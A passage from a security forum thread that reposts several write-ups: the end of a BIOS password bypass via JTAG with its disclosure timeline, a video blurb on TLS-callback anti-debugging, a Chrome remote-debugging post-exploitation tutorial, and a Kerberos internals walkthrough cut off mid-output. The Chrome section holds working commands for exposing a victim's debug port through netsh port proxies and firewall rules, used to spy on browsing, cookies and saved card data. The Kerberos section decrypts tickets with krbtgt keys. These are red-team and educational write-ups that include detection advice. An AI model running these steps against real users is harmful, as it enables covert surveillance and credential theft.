    At this point since we were unable to boot into anything except the boot menu, our only option for editing those NVRAM variables was to write to them directly using our external flash programmer. We retrieved a fresh dump from the flash chip so we would only modify the current state rather than revert it to an earlier state and potentially cause even more things to break. We found the offsets of the variables in the flash using UEFITool. There is a header on each variable, so you need to skip past it to get to the actual value of the variable. After editing all of the variables thqat were needed to change the options, we reloaded the dump in UEFITool to verify that we didn't accidentally corrupt anything and that the value of the variables actually changed. After that, we re-flashed it, hooked up the crossover cable, powered-on the board, and hoped for the best.

    Device manager showing usb-jtag interface

    Luckily enough for us, it worked! This was our first time getting JTAG on an Intel-based computer, and it was very exciting—especially given how easy it turned out to be.

    Fixing "The Incident"

    Orienting Ourselves

    We booted into the boot menu and then broke into the debugger. We had no idea what portion of code we had broken into, much less where any of the code or data that we were interested in was located. Unfortunately, we hadn't thought to save the load addresses of any of the relevant DXE modules before "the incident" occured and made the board unbootable, so we had nothing to go on. The debugger had a built-in command that would list all of the loaded DXE modules, however it needed the address of the UEFI system table, and the automatic scan for it failed.

    In most UEFI binaries built using EDK-II, the system table gets stored in a global variable when the driver/app's entry point function executes. We dumped a handful of bytes from the address RIP was at, and then searched for those bytes in UEFITool to determine which module we were currently executing code in. We loaded that module into IDA and rebased the database to the module's load address. We figured out the module's load address by searching the IDA database for the bytes we pulled out earlier and computing an offset based on the value of RIP. Now that we had a nicely aligned IDA database, we could easily obtain the address of the global variable that contained a pointer to the system table. We retrieved the address of the system table from that variable, and supplied it to the debugger. Now, when we gave it the command to list DXE modules it actually gave us a list. The output was similar to:

    ModuleID  Base                Size        Name
    00001     0x00000000D5A32000  0x00018460  <no_debug_info>
    00002     0x00000000D5A4B000  0x00003B80  <no_debug_info>
    00003     0x00000000D5A4F000  0x00001200  <no_debug_info>
    00004     0x00000000D5A51000  0x00002F40  <no_debug_info>
    00005     0x00000000D5A54000  0x00000540  <no_debug_info>
    00006     0x00000000D5A55000  0x00001620  <no_debug_info>
    ...
    

    Annoyingly, the debugger would not give us the module's name or even its GUID without debug info loaded. However, we could use the size of the module to narrow down the list of possible base addresses. UEFITool provided the size of each module. We examined the memory located at each of the remaining base addresses and compared it to the data that we extracted from the firmware dump to figure out which base address corresponded to each module we were interested in.

    Executing Code

    We pondered the best way to execute arbitrary code for a while. We realized that all of the code we would need to run would cause a state change that would persist across reboots. That meant that we would not have to return execution to the firmware; after our code had run we could just reboot the board.

    We looked back at the code inside of BpwManager, and determined there was a two byte checksum that we hadn't erased. We theorized that zeroing that checksum would allow the board to boot. To write the zeros, we simply set RIP to the address of the eepromWrite function and set all other registers to supply the correct function arguments. We put a breakpoint on the return instruction of the eepromWrite function so that execution would not return to firmware code. Returning to firmware code probably would have caused a crash because by modifying the registers we put the board into an undefined state. After overwriting the two bytes and resetting the board, the BIOS password was finally gone! We tried setting our own password from the setup utility just to make sure that it was actually gone and we had full control. That also worked.

    Obligatory blurb

    Would you like to reverse engineer and exploit embedded systems? Ones that might even be able to fly? We're hiring! You can view our current open positions at https://www.skysafe.io/jobs. If you don't see a position that looks right for you, feel free to send us a resume. We may have openings that we're not actively hiring for.

    Timeline

    • 2019-11-14 - Sent email to vendor security contact. Vendor given a 90-day deadline.
    • 2019-11-20 - No response to initial outreach. Sent another email to vendor and CC'd UEFI USRT.
    • 2019-11-20 - UEFI USRT acknowledged receipt of emails
    • 2020-01-30 - Vendor replied and asked what our disclosure plans were.
    • 2020-01-30 - We replied that we were planning on publishing our blog post publicly on 2020-02-12 and offered the vendor a 14-day extension. We included a draft copy of this blog post with this reply.
    • 2020-02-01 - Vendor asked if we were able to reproduce the issues on any other products in the same product line.
    • 2020-02-03 - We replied that we had not attempted to reproduce it on any other products, but all products that use the EmuSecEeprom driver may be vulnerable.
    • 2020-02-04 - Vendor asked for more details on how the UEFI shell was launched.
    • 2020-02-19 - We replied with an explanation of how the EFI_LOAD_OPTION struct works when the LOAD_OPTION_CATEGORY_APP attribute is set.
    • 2020-02-20 - We let the vendor know that we were planning to publish the blog post on 2020-02-21.
    • 2020-02-20 - The vendor said they had been able to reproduce most of the findings and were planning on issuing an advisory. They were having trouble reproducing one of the findings and asked for a full SPI flash image
    • 2020-02-20 - We sent the vendor a full SPI flash image that demonstrated the issue.
    • 2020-02-24 - Blog post published.

     

    Sursa: https://github.com/skysafe/reblog/blob/master/0000-defeating-a-laptops-bios-password/README.md

  13.  

    In this video we'll see how to execute code before the entry point of the application and before the main function and confuse some debuggers along the way. Let's begin. PoC code: https://github.com/reversinghub/TLS-PoC Analysis tools: - Immunity debugger - CFF Explorer - LordPE - IDA Pro - Visual studio IDE --------------------------------------------------------------------------------------------------- Follow us on Twitter : https://twitter.com/reversinghub Github : https://github.com/reversinghub If you liked this video and you want to learn hands-on how to analyse malware, with real samples and practical exercises, find us on Udemy : https://www.udemy.com/course/reverse-... Thank you 🙏

  14. Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely

    Posted on Apr 28, 2020

    Chrome’s remote debugging feature enables malware post-exploitation to gain access to cookies. Root privileges are not required. This is a pretty well-known and commonly used adversarial technique - at least since 2018 when Cookie Crimes was released.

    However, remote debugging also allows observing user activities and sensitive personal information (aka spying on users) and controlling the browser from a remote computer.

    Hacker

    Below screenshot shows a simulated attacker controlling the victim’s browser and navigating to chrome://settings to inspect information:

    Chrome Remote Debug

    This is what we will discuss and explore more in this post, and it is a summary of one of the techniques described in the book “Cybersecurity Attacks - Red Team Strategies”.

    At a high level, remote debugging is a development/test feature which, for some reason, made it into the ordinary retail version of Chrome.

    Since its a “feature” and requires an adversary/malware to be present on the machine (post-exploitation) Chromium likely won’t be changing anything. Hence this post will highlight important detections that Anti-Virus products and Blue Teams should put in place to have telemetry for catching potential misuse or attacks and protecting users.

    Hopefully this post can help raise additional awareness to improve detections and countermeasures.

    But, first things first….

    Entering Cookie Crimes

    A very powerful cookie stealing technique was described by mangopdf in 2018 with “Cookie Crimes“. Chrome offers a remote debugging feature that can be abused by adversaries and malware post-exploitation to steal cookies (doesn’t need root permissions). Cookie Crimes is now also part of Metasploit - cool stuff!

    When I first saw this it was super useful right away during post-exploitation phase of red teaming ops on macOS to Pass the Cookie. At that time I also started experimenting more with the remote debugging features of Chrome, with some rather scary outcomes - and there is probably a lot more to figure out.

    Automating and remote controlling Chrome

    Besides stealing cookies, the feature allows to remotely control the browser, observe browsing sessions, and gain access to sensitive user settings (like saved credit card numbers in the browser, etc). This is what we are going to discuss now a bit more.

    Disclaimer

    This information is for research and educational purposes in order to learn about attacks, help build detection and countermeasures. Security and penetration testing requires authorization from proper stakeholders.

    Headless mode

    Chrome supports running headless in the background without the user noticing that it is running. Examples here are given for PowerShell, but feel free to adjust to whatever shell/OS you are using:

    • To run Chrome headless without a visible UI, specify the –headless option, as follows:

      Start-Process "Chrome" "https://www.google.com" --headless

      This starts Chrome without the UI. To ensure a smooth start, specify –no-first-run.

    • By running Get-Process, you can observe the newly created process as well.

    • To terminate all Chrome instances, simply run:

      Get-Process chrome | Stop-Process

      This can be useful when learning more about this API and experimenting with it.

    Basics of the Chrome remote debugging feature

    To start Chrome with remote debugging enabled run:

    Start-Process "Chrome" "https://www.google.com --headless --remote-debugging-port=9222"

    If you do not specify –headless and there is already an instance of Chrome running, then Chrome will open the new window in the existing browser and not enable the debugging port. So, either terminate all Chrome instances (using the preceding statement) or launch Chrome headless. We will discuss differences in more detail later.

    Now you can already navigate to localhost:9222 and see the debugging UI and play around with it:

    Chrome Remote Debug At this point an adversary can perform the “Cookie Crimes attack” and steal all cookies using the Network.getAllCookies() API - but let’s experiment more with the UI.

    Tunneling the UI to the attacker

    The debugging port is only available locally now, but malware might make that remotely accessible. In order to do that, the adversary can perform a port forward. This will expose the port remotely over the network.

    In Windows, this can be done by an Administrator using the netsh interface portproxy command. The following command shows how this is performed:

    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222

    Remote connections to this port will not be allowed because the firewall blocks them (we forwarded to port 48333). We have to add a new firewall rule to allow port 48333. So, let’s allow that port through the firewall.

    There are multiple ways to do this on Windows (we focus on Windows now, but should also work on macOS and Linux):

    1. Use netsh to add a new firewall rule:

      netsh advfirewall firewall add rule name="Open Port 48333" dir=in action=allow protocol=TCP localport=48333

    2. On modern Windows machines, this can also be done via PowerShell commands:

      New-NetFirewallRule -Name ChromeRemote -DisplayName "Open Port 48333" -Direction Inbound -Protocol tcp -LocalPort 48333 -Action Allow -Enabled True

    Automating and remote controlling browsers as adversarial technique

    Now, Mallory (our attacker) can connect from her attack machine to Alice’s workstation on port 43888 and start remote controlling Chrome. The following screenshot shows what the initial connection might look like:

    Chrome Remote Debug

    The screenshot shows the currently available sessions. These are basically the tabs the victim has opened at this point (for example, after restoring the sessions, or just the home page).

    If you are trying this out yourself, you probably only see the Google home page listed (this is because for now we started a totally new browsing instance). Clicking the link will navigate you to the session/tab of the browser.

    Spying on Chrome

    When creating a headless session we typically don’t inherit the user’s settings and so forth (you can look at the –user-data-dir option to learn more about this).

    Although, there is also the –restore-last-session command-line option, which is something the Cookie Crimes author pointed out as well.

    The basic idea is to terminate all Chrome instances and then relaunch them with remote debugging enabled. This technique is a bit intrusive, but it is quite effective to restart Chrome with the debug port exposed and at the same time inheriting the users’s settings. To test this yourself, follow these steps:

    1. First, terminate all Chrome processes (e.g. using PowerShell, assuming you are in the user’s security context)
    2. Afterward, launch Chrome in non-headless mode and restore the last session using the following command:

      Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

    3. Then, connect to the remote control UI to observe the victim’s browsing sessions/tabs

      Chrome Remote Debug

      As can be seen in the screenshot, there are multiple sessions being opened by Alice (the victim): a Google tab, an Outlook.com tab, and a few others.

    4. By clicking any of the sessions, the attacker takes control of Alice’s browser UI and can observe (as well as interfere with) what the user is doing.

    Even multiple attackers can connect to the port and observe the browsing session.

    As an example, in this demo we simulate the victim having a valid cookie for their email account, and if you enter https://outlook.com in the URL of the debugging session (this is the textbox written underneath the browser URL bar), the attacker will get access to the inbox:

    Mailbox

    As you can see, the remote session can be used pretty much like a local one. We can enter text, click buttons, and fully interact with websites.

    Peeking at settings (credit card numbers. yikes!)

    There is one last thing. Navigate to chrome://settings with the remote control.

    This includes access to settings, passwords (those will pop up a credential prompt for the victim), payment information, including card number (no popup), addresses, and many other settings.

    The following screenshot shows chrome://settings URL of the victim, include observing sensitive information:

    Chrome Remote Debug

    Important: During operations consider performing a SSH port forward, so that information goes over an encrypted channel. The examples here are for research and education.

    And here is a brief animation - if you are not interested in trying to play around with this yourself:

    Chrome Remote Hijack

    Cleaning up and reverting changes

    Keep in mind that port forwarding was set up earlier to enable the remote exposure of the Chrome debugging API on port 48333. In order to remove port forwarding and revert to the defaults, we can run the following command:

    netsh interface portproxy reset

    Alternatively, there is a delete argument.

    The same applies for opening port 48333. The firewall rule can be removed again using the following command:

    netsh advfirewall firewall del rule name="Open Port 48333"

    or if you used the PowerShell example:

    Remove-NetFirewallRule -Name ChromeRemote

    Finally, close all Chrome sessions by running the following command (to get your host back into a clean state):

    Get-Process chrome | Stop-Process

    That’s it – the machine should be back in a non-exposed state.

    Port forwarding not really needed

    The port forward is not really needed, but I thought its cool to show how this can be done on Windows. Since for some reason those “networky” things seem to be less known on Windows.

    Chrome also has the --remote-debugging-address feature, that an adversary can set to 0.0.0.0 to listen on all interfaces. Although, that only works in headless mode and needs usage of the custom --user-data-dir.

    Detections and Mitigations

    • Blue teams should look for processes launched with the –remote-debugging-port argument, and related features (–user-data-dir,…) to identify potential misuse or malware
    • This is a post-exploitation scenario, so not having malware, adversaries, or multiple admins on your machine is good advise
    • Practicing an Assume Breach mindset and entertaining the idea that malware is already present on machines (at least on some machines in corporate environments) is always mature and solid advise (because it usually is)
    • Chrome should not allow remote debugging of things like chrome://settings
    • Or maybe at least require the user’s password when navigating to chrome://settings before showing sensitive information
    • Majority of users (probably 99.999%+) do not need remote debugging - maybe there could be a different solution for developers compared to regular users.

    Red Team Strategies

    If you liked this post and found it informative or inspirational, you might be interested in the book “Cybersecurity Attacks - Red Team Strategies”. The book is filled with further ideas, research and fundamental techniques, as well as red teaming program and people mangement aspects.

    Hiccups and changes

    Chrome changes quite frequently, so some things need updates and then a few months later they original attacks work again. When I did this the very first time, like over a year ago, there were some URL hiccups that I had to resolve, and described a bit more in the book - but its pretty straight forward to figure out.

    The URL that Chrome shows, pointing to something like: https://chrome-devtools-frontend.appspot.com/serve_file/@e7fbb071abe9328cdce4feedac9122435fbd1111/inspector.html?ws=[more stuff here]

    That needs to be updated to something like this: http://**localhost:9222/devtools**/inspector.html?ws=**localhost:9222**/devtools/page/D9CF6B093CB84FD0378C735AD056FCB7&remoteFrontend=true

    When I did this last time this wasn’t necessary. Chrome’s behavior changes frequently, so some of this might be different again - most recently it seems that this is at times not necessary anymore (especially if you leverage –restore-last-session)

    References

     

    Sursa: https://wunderwuzzi23.github.io/blog/posts/2020/chrome-spy-remote-control/

  15. 460d27d634b0ce7332e20f1c67298876?s=224&d
    ACTIVE DIRECTORY RED TEAMING   •   APRIL 28, 2020   •   84 MIN READ

    Windows authentication attacks part 2 – kerberos

    Kerberos authentication is one of the cores of the AD, knowing how it works facilitates the deep understanding of many attacks.

    Windows authentication attacks part 2 - kerberos

    Overview

    Table of Contents

     

    Kerberos is a centralized authentication protocol, works using tickets instead of the challenge-response mechanism.
    Unlike the permanent channels between the client and the servers which are required and used when authenticating and using service via NTLM, Kerberos depends on stateless login mechanism using trust between the parties involved in the authentication process instead.
    The client simply asks for a ticket that proof it’s identity, cache it and uses it when connecting to services.

     

    1.jpg
    2.jpg

    There is no open tunnel between the client and the service for authentication, actually, the whole authentication process (In normal scenarios) takes place between the client and the KDC before even connecting to the service.
    Before proceeding with Kerberos details, we need to make a quick overview regarding Kerberos and put some terms which will be used heavily within this post
    1 – Client: this can be any machine requesting access to any service over the network
    2 – Key Distribution Center (KDC) which handle the Kerberos authentication requests, it’s usually the domain controller or at least has access to the users and services secrets (Hashes) and consists of 2 services,
    A – Authentication server (AS) which receives the client’s authentication requests
    B – Ticket Granting Service (TGS), which issue tickets to the client to access the services he needs.
    3 – Service: The service you need to gain access to, Both Clients and Services are considered as principals, more on that later.
    4 – Realm, which is the uppercase value of the Domain name in the AD environments.

    I don’t want to flood your brain with terms, so the rest will follow just in their place during walking through the authentication process, but for now, keep the following on mind:
    1 – The whole Kerberos authentication process is going between Client, KDC and service, also it’s centralized and depends on the trust of the client and the service with the KDC.
    The KDC has access to users and services credentials, it uses these credentials (Secrets) of both user and service to assure the integrity of the user through a cryptographic process which is the main focus of this post.

    2 – Kerberos is used for authentication, not authorization.
    This means that Kerberos will help you verify the user’s identity by checking his login data, but yet it won’t help you to verify if the user has or doesn’t have access to the service.
    If John is trying to access MSSQL service at 10.0.0.2, Kerberos will validate John’s login credentials, but won’t validate if John has access to the Databases on that MSSQL service or not.
    The authorization step depends on the service, Privileged Attribute Certificate (PAC) and the local machine’s or service’s policies are usually used for that matter as will mentioned later.

    3 – Kerberos authentication is host-based, not IP based like NTLM, mean if You got a service hosted at machine win2012.jnkfo.lab (192.168.18.12), You should connect to the hostname of the machine instead of the IP address, otherwise, windows will pick up the NTLM authentication instead of Kerberos.
    Example: using windows 10 to connect to SMB at win2012.jnkfo.lab (192.168.18.12) using IP address directly.

     

    Screen-Shot-2020-04-20-at-7.34.07-PM-204

    NTLM authentication was used, unlike connecting using the hostname where Kerberos authentication is used by default.

     

    This is happening because Kerberos requires a Service Principle Name (SPN) while connecting, and before Windows 10 version 1507 and Windows Server 2016 IP addresses couldn’t be used as a part of the SPN name, the only hostname could be used.
    More about that at the SPNs part.

    Service Principal Names (SPNs)

    As mentioned earlier, Users and Services which are used through the Kerberos authentication process are called principals, These principals should have a specific formatted name that complies with Kerberos requirements.
    You should differentiate between UPN which is the user principal name and SPN which is the Service principal name
    So to connect to an SMB service at host win2012.jnkfo.lab which has the IP address of 192.168.18.12
    By default, Kerberos isn’t used to authenticate your client with the SMB using the IP address, it requires what’s called the SPN, which take the following formats

    ServiceClass/Host:Port

    So for MsSQL, You will find the following SPN

    1. C:\Users\Administrator>setspn -L jnkfo\mssqlserver
    2. Registered ServicePrincipalNames for CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab:
    3. MSSQLSvc/win2012.jnkfo.lab:1433

    MSSQLSvc: is the service class
    win2012.jnkfo.lab: is the Host where the service can be found
    1433: is the port on which the service is running.
    Sysadmins can register the service without adding the port number, it’s not mandatory but it’s needed in several cases.

    Services SPNs must be set before using Kerberos for authentication, otherwise, You’ll get a KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN error

     

    Screen-Shot-2020-04-20-at-8.02.56-PM-204

    An SPN can be registered using

    1. setspn -A ServiceClass/Hostname:Port Domain\Username

     

    Screen-Shot-2020-04-20-at-8.06.25-PM-204

    Now I can connect to the service normally

     

    Screen-Shot-2020-04-20-at-8.18.27-PM.png

    After windows server 2016 and Windows 10 version 1507 IP addresses can be used as a part of the SPN, but that’s not the default and requires updating the client’s settings which aren’t our concern today, more details can be found here

    There are several default SPNs for windows including CIFS, LDAP, Host, terminal services… etc
    The Host SPN itself including several services beneath it, You will find that the “host” SPN is called when executing certain functions.

     

    Screen-Shot-2020-04-20-at-8.54.58-PM-204

    These services can be obtained from the ADSI

     

    Screen-Shot-2020-04-20-at-9.02.01-PM.png
    1. host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,oakley,
    2. dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,plugplay,protectedstorage,
    3. rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule,
    4. tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdt

    So don’t get confused when you find the “host” SPN at Wireshark while connecting to some services.

    Summary

    SPNs are used when authenticating to any service using Kerberos, the service must have a registered SPN in order for Kerberos to be used for authentication.
    SPN’s format is ServiceClass/host:port

    Kerberos authentication

    Setting up

    Assume user jnkfo\win10user need to connect to SMB service at win10.jnkfo.lab, I will use Impacket to do so and Wireshark to track everything

    The following code will do so

    1. from impacket.smbconnection import SMBConnection
    2. smbconn = SMBConnection("win10.jnkfo.lab", "192.168.18.10")
    3. login = smbconn.kerberosLogin("win10user", "P@ssw0rd", "jnkfo.lab", "","","", kdcHost="192.168.18.2")
    4. print login

    Hostname : win10.jnkfo.lab
    Host IP: 192.168.18.10
    username: win10user
    Domain name: jnkfo.lab
    KDC Host (Domain controller) : 192.168.18.2

    Before executing the code, launch Wireshark and use the following filter “kerberos or smb or smb2” to track just the smb and Kerberos packets

    Once u execute the command, you will see some packets in Wireshark

     

    Screen-Shot-2020-04-24-at-4.24.04-PM-204

    Once you got that, we’re ready to go.

    In a nutshell

    Let’s split the connection into 2 parts,
    1 – Client <—-> KDC
    2 – Client <—-> Service

    I won’t discuss the SMB negotiation here, it’s already discussed in the previous part, we’re more interested in the Kerberos auth process.
    First, the client is contacting the KDC to retrieve a ticket, Then, the client presents that ticket to the service, as proof of his identity.

    The 1st part (Client <—-> KDC) involves the following

     

    4.png

    1 – AS-REQ (Authentication request):

    The client hashes the user’s password, uses that hash to encrypt the current timestamp, and sends the encrypted timestamp to the KDC.
    The KDC already has a copy of the user’s hash so it uses the hash and tries to decrypt that message to retrieve the timestamp.
    If the decryption is successful, then the KDC knows that the client used the correct hash and hence proved his identity to that KDC

    2 – AS-REP (Authentication reply): The Authentication service (AS) replies with two messages
    A – A session key encrypted using the user’s hash, that key will be used for future messages.
    B – TGT (ticket-granting ticket), That TGT contains information regarding the user and his privileges on the domain, This message is encrypted using the hash of the KRBTGT account’s password. That hash is known only to the KDC, so only the KDC can decrypt the TGT.

    3 – TGS-REQ (Ticket Granting Service request): The client now has the TGT, he then requests a ticket to access the service he wants, so the client encrypts that request using the session key and sends it to the KDC which will decrypt and validate it. The TGT is also sent in that request.

    4 – TGS-REP: After validating the TGT the KDC responds with two messages
    A – A message specialized for the targeted service, encrypted with the service’s hash which is stored at the KDC, this includes the information in the TGT as well as a session key
    B – A message for the client containing a session key for further requests between the client and the service he asked to access, which is encrypted using the key retrieved from the AS-REP step.

    The 2nd part Client <—-> Service
    The client presents the message (TGS) from the TGS-REP step while connecting to the service along with an encrypted part, called authenticator message, this part includes the user’s name and timestamp which was encrypted and will be decrypted using the service session key.
    Then compare the username and timestamp from the TGS with the username and timestamp from the authenticator message.

     

    2.jpg

    That’s how Kerberos works without digging deep, but that’s not enough AT ALL to understand Kerberos attacks.
    It’s better to dig deeper in each message and how it’s working, the information it contains, and what each piece of information will be used for.
    That’s what I will be discussing using the packets I’ve captured earlier

     

    5.png

    Pre AS-REQ

    1 – The client tries to send an AS-REQ message to the KDC containing the following information

     

    6-1.png

    The 1st part includes

    • The message type or the Application class tag number (10)
    • Kerberos version (pvno = 5)
    • The padata which contains the authentication type 128 (PA-PAC-REQUEST) which indicates either PAC is present or not, in this case, you’ll find that Kerberos.include_pac is true so it means “no PAC is present, include the PAC”

    The 2nd part includes the ticket flags or attributes

     

    7.png
    • Forwardable: The ticket can be forwarded, This flag is typically set during the AS exchange and is used by the TGS when issuing tickets.
    • proxiable: the ticket can be sent to a proxy and used by a proxy.
    • renewable: The client can request to have the ticket renewed instead of having a new ticket issued when the current expires

    The 3rd part includes

    • CnameString: which is the username we’re using to login “win10user“
    • realm: which is the uppercase of the full name of the domain we’re logging in to “jnkfo.lab”

    The 4th part includes

    • SnameString: which is the name of the Kerberos service we need (krbtgt in that case)
    • realm: which is the uppercase of the full name of the domain “jnkfo.lab”

    The 5th part includes the encryption algorithm which will be used (AES256 in this case)

    The full message is in plaintext, no secrets are shared at all

    KRB5KDC_ERR_PREAUTH_REQUIRED

    The KDC responds to the client that it needs more information to prove that he own the password (key) of the user he’s authenticating as
    that’s the part in which the user’s password or hash is needed.
    You’ll find many old parameters included in the message already, but yet some new parameters are sent to the client

     

    8.png
    • stime: The current server time
    • susec: The server’s timestamp in microseconds
    • salt: JNKFO.LABwin10user
    • And obviously the error code

    AS-REQ

    From now and on you’ll notice that there is an encrypted part and a plaintext part, this will be obvious in a few seconds.
    In this step, the user’s hash will be used to encrypt the timestamp and send it to the KDC, The packet includes

     

    9.png

    This request includes everything in the 1st AS-REQ message including

    • Cname: already discussed, contain the client principal name (win10user@JNKFO.LAB)
    • Sname: already discussed, contains the service principal name (krbtgt@JNKFO.LAB)

    and more importantly, the encrypted timestamp part which can be found at the cipher field.
    The value is : e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39
    etype: which is the encryption type used while encrypting the timestamp, which is AES256

    to decrypt that message we need to get the AES256 key for the user, then use it to decrypt the cipher
    The following code will help

    1. from binascii import unhexlify, hexlify
    2. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    3. from pyasn1.codec.der import decoder, encoder
    4. cipher = _enctype_table[18]
    5. password = "P@ssw0rd"
    6. salt = "JNKFO.LABwin10user"
    7. key = cipher.string_to_key(password, salt, None)
    8. #hexlify(key.contents)
    9. mycipher = "e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39"
    10. enctimestamp = cipher.decrypt(key, 1, unhexlify(mycipher))
    11. dec = decoder.decode(enctimestamp)
    12. for i in dec:
    13. print i

    This will produce the following output, which is the clear text timestamp

    1. Sequence:
    2. field-0=20200424142303Z
    3. field-1=197279

    The message is sent to to the KDC which will proceed with the authentication process

     

    10.png

    AS-REP

    The KDC has a copy of the user’s key, so if the user encrypted the timestamp using the correct key, the KDC will be able to decrypt it and hence the KDC assured that the client used the user’s correct password.

     

     

    11.png

    Once this step is done the KDC generates a random session key, sends the AS-REP (Authentication reply), which contain 2 messages

     

    12.png

    Message A

    Which is encrypted using the user’s secret key, and so it can be decrypted and read by the user.
    The message contains the following information

    • TGS session key
    • TGS name
    • Timestamp
    • Lifetime

    We can decrypt and read these data using win10user’s key, let’s get the key directly from the DC instead of generating it using the plaintext password

     

    13.png

    The Etype in the packet is 18, meaning we will need the AES256 key,
    Using the following script to decrypt the cipher in message A will help us understand what’s going on

    1. from pyasn1.codec.der import decoder, encoder
    2. from binascii import unhexlify, hexlify
    3. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    4. cipher = _enctype_table[18]
    5. key = Key(18, unhexlify("1ed620f476644bb555227e913400edf446980824f60564ee4bd3430ca34981c1"))
    6. mycipher = "d20a921ad48dbdf8616f85e05418466c8021f7b45b8adf4ffa59940260c23c2e1eb88fcb2603a6625c81d0a7c840db62bf7cbb4e22d5de52f303155a0098f3e7ea3a98d226c3ff572429df5156656c51d8880bd87c355929189f501970bcd8aeef6405e908131f26c8701075b2314a96de39e4727698081e989bb35716c5dc3081bd071d1c9938b078a170a5697fd3dbe1879ed48a490c8914221d94feb13e126a011dad7584bd1db525dabd159534e936578ff1e4120c3183367d190587aaf64e51e2c140542dbcc170c933cb62ebe3a736674054fa6921732351b5854e6918d79e1614983a224b20af9bc36c28e89a404aa736b6405ed18cd21a5eb7c8a82b5112287aeb650757cd4e"
    7. jnk = cipher.decrypt(key, 3, unhexlify(mycipher))
    8. dec = decoder.decode(jnk)
    9. for i in dec:
    10. print i

    The output is

    1. Sequence:
    2. field-0=Sequence:
    3. field-0=18
    4. field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
    5.  
    6. field-1=SequenceOf:
    7. Sequence:
    8. field-0=0
    9. field-1=20200424142303Z
    10.  
    11. field-2=755736468
    12. field-3=20200524145835Z
    13. field-4=1356922880
    14. field-5=20200424142303Z
    15. field-6=20200424142303Z
    16. field-7=20200425002303Z
    17. field-8=20200425142303Z
    18. field-9=JNKFO.LAB
    19. field-10=Sequence:
    20. field-0=1
    21. field-1=SequenceOf:
    22. krbtgt JNKFO.LAB

    You will notice some familiar fields, such as the

    • The TGS service name: krbtgt
    • Realm: jnkfo.lab
    • Session key : 0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
    • Timestamp: 20200424142303

    Message B (TGT)

     

    14.png

    This includes a plaintext part that contains the SPN (TGS name <krbtgt>) and an encrypted part which is making the Ticket Granting Ticket (TGT).

    The 2nd part (enc-part) contains the following information

    • Username
    • Realm
    • Session key
    • Timestamp
    • Lifetime

    That part is encrypted using the krbtgt key, which only the KDC knows, and so only KDC can decrypt this part.
    We can get the krbtgt key using the same method explained at Message A, and so we can decrypt that cipher using the following code

    1. from pyasn1.codec.der import decoder, encoder
    2. from binascii import unhexlify, hexlify
    3. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    4. cipher = _enctype_table[18]
    5. key = Key(18, unhexlify("8b4b161245435ee310d420c195995f2d22b88c680dae09196cd29e4e05723638"))
    6. mycipher = "65c0e02f31835d711d581eafba47461c767aaae82cc2677925822df7ba88fcf2ae1b06c239028c22ab0b69ecb4ccd0da2cc3d5fdbb3f3144f5cee858ce152865dcc6bcf5a6c7288926c85ac7a89c8ce911ebe34bf8f3575ba395b21cdfa74b6103ab7441ed4afa07804dc22a34f102f737c05f2a10ca1b99d926ac13e2f563ccac3cfbdd6049d076803609595b77ff76eaa3a0a18209b7b4159ad8ec2ec9d1c164ebff949918dedf153d9d881d182cad5e1a3f1fc61bd23f4eee710812d8b0bfe5b4d0140700f1efdd2dec1a9f2190a4956bcf4362d101399f910bcbe339f8de33715b947fb7d56d2cd0622dd994963583e9cce686737bd6623b28b18e28eb29a319b4c64f50c28e8736c218039196907e9e5694d2a017bf714b6a94315e32395447e46a34d8dbe9a24d05c95f596ef263ee73e0ff221592631da6ecf5baa07c7441ddd66dd53813d81639be67203a86bd63b188894c30c80b4bf9bc100f0ea8a9d9a5712dc3e311f82c04a2fe01ec73f804e839b7030530952e79fd34df82436665c9a8d8399ffe2f36c611010137cee12847ae04803a54390ad907ca03cbf8a3fe3db1be254861d70aa93b43b3e0ee669dc221297782e3e3e4b6c25c4b6e8f7621e4efc568afd40be7dd9bda17b01282461ee5cf562ca1cdea820d13cdb1fa007e3bde2102bd0ca24e1527dcb0772bb98b7dc0f17c2b699657a6678d73fecc99545e76fcd9fff75598b8129222117f19e56536406cdb42f9fb1ea3820d8c33687dd2e87ba361794841b23fab0d8c8a37d6cd3fe2d033bd861ff89e3ecc894b20b88af2881af91ea3a2b5f26fb5a958292da07bde177cc6a1a7eec04cfdf028366e51fdf0d5a977ce513bbd146c567d15eee7f5e396c2ee9f3e5658b33f5a8c1d60e3fb3e6302df7eba13ba229a2b2b76b52f67a3305e9519a476682c57637822f4f8f3795e50ac9d3095e42bd65ccf5424b1876bbc1e383f188a70876bd44d3212884b6ccd84b35690ea7ee24e9c7495414720ed1958a27f6f66cafc3b2fade20cbc36fde6d88060d19e027f2b4c2d99e77660b2c1f3c9fa70e7e33e893e695b9effeb60e786ee77728a49c308c587d5be72381b30baac7581e72ffaf181a5a15632f89b0fd148823c5ef4f91b631f60733afb0fcbb721b619b7fe6ce86d68b4d056ccf65ab8fea967140590b3318d0869576fd77cce2b0306121b86b45e0584255f37c788b5f888ef41167d74eb0374c7d6fd925f9f82822fdb579f00693494d3ff4334fccec6e1b9eb97ebbc6108f6c59e53078b039ec818fdf32860be1e5a30210ec821a042de32a9ca47975f"
    7. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
    8. dec = decoder.decode(jnk)
    9. for i in dec:
    10. print i

    Output is

    1. Sequence:
    2. field-0=1356922880
    3. field-1=Sequence:
    4. field-0=18
